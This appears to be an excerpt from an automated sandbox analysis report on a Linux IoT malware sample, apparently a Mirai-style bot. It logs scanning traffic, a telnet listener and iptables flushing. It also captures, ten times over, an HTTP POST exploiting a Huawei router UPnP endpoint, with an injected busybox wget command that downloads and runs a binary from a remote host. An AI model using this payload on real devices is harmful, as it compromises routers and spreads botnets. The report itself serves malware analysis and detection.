Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.214.143.94:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.181.41.123:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 41.95.249.162:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.171.131.127:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 156.194.128.136:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.251.203.173:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 197.227.54.43:52869
Source: global traffic	TCP traffic: 192.168.2.23:21381 -> 41.156.32.208:52869

Sample listens on a socket

Source: /tmp/arm7 (PID: 5249)	Socket: 0.0.0.0::23	Jump to behavior
Source: /usr/sbin/sshd (PID: 5365)	Socket: 0.0.0.0::22	Jump to behavior
Source: /usr/sbin/sshd (PID: 5365)	Socket: [::]::22	Jump to behavior

Executes the "iptables" command used for managing IP filtering and manipulation

Source: /bin/sh (PID: 5310)	Iptables executable: /sbin/iptables -> /sbin/iptables -F			Jump to behavior
Source: /bin/sh (PID: 5311)	Iptables executable: /sbin/iptables -> /sbin/iptables -X			Jump to behavior

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
